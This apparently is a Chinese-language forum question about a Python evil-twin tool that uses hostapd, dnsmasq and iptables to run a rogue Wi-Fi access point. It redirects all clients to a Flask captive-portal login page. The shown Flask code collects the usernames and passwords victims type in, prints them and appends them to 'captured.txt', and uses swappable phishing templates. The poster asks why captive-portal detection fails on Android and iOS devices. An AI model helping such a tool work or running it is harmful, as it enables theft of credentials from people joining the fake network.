我正在制作 python 工具,用于使用 hostapd 创建接入点,在 10.0.0.1 上运行 http 服务器,并使用 dnsmasq 将客户端重定向到 http 服务器登录页面
当我使用 localhost 作为主机名时它可以工作,但是当我使用 10.0.0.1 作为主机名 flask 服务器时它给了我 204 之类的错误,或者当我将 android 设备连接到接入点时未找到 success.txt。
在运行服务器并在后台打开浏览器时出现以下错误:
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET /hotspot-detect.html HTTP/1.0" 302 -
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET / HTTP/1.0" 200 -
当我尝试从 iOS 设备连接到 AP 时,情况如下:
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET /hotspot-detect.html HTTP/1.0" 302 -
10.0.0.43 - - [21/Aug/2022 13:16:20] "GET / HTTP/1.0" 200 -
http.server
使用 python并使用 编写 html 文件时它可以工作self.wfile.write
。但我想使用 flask,并拥有可自定义的模板。
模板文件夹配置:
- script_folder:
server.py
- templates:
- captive_portal1:
login.html
redirect.html
- captive_portal2:
login.html
redirect.html
...
这是我的 dnsmasq 配置:
#Set the wifi interface
interface=wlan1
#Set the ip range that can be given to clients
dhcp-range=10.0.0.10,10.0.0.100,8h
#Set the gateway IP address
dhcp-option=3,10.0.0.1
#Set dns server address
dhcp-option=6,10.0.0.1
#Redirect all requests to 10.0.0.1
address=/#/10.0.0.1
no-resolv
我的iptables设置(python代码片段):
os.system("iptables --flush --table nat")
os.system("iptables --flush FORWARD")
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
启动 ap 后接口设置分配 ip 地址:
os.system('ifconfig ' + iface + ' 10.0.0.1 netmask 255.255.255.0')
最后是我的 Flask 服务器代码片段:
@app.route("/", methods=["POST", "GET"])
def login():
error = None
if request.method == "POST":
current_date = str(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
username = request.form['username']
password = request.form['password']
if username == '' or password == '': # Catch empty input
print(bstring.INFO, "Catched empty input, sending error to client!")
error = "Username or password can't be empty!"
return render_template('%s/login.html' % (template), error=error)
if email_vaildation(username) == False: # Catch invaild e-mail
print(bstring.INFO, "Catched invaild email, sending error to client!")
error = "Can't find account with given username!"
return render_template('%s/login.html' % (template), error=error)
else:
print("""
----------------------------
Date: """ + bstring.BLUE + current_date + bstring.RESET + """
Username: """ + bstring.GREEN + username + bstring.RESET + """
Password: """ + bstring.GREEN + password + bstring.RESET + """
----------------------------
""")
file = open("captured.txt", "a")
file.write("""
Date: """ + current_date + """
Username: """ + username + """
Password: """ + password + """
----------------------------""")
file.close
client=request.remote_addr # Client ip
if args.nointernet is True:
print(bstring.INFO, "No internet option is enabled, keeping internet access disabled for:", client)
else:
print(bstring.ACTION, "Enabling internet access for:", client)
enable_network(client)
return redirect(url_for("redirect_page"))
else:
return render_template('%s/login.html' % (template)
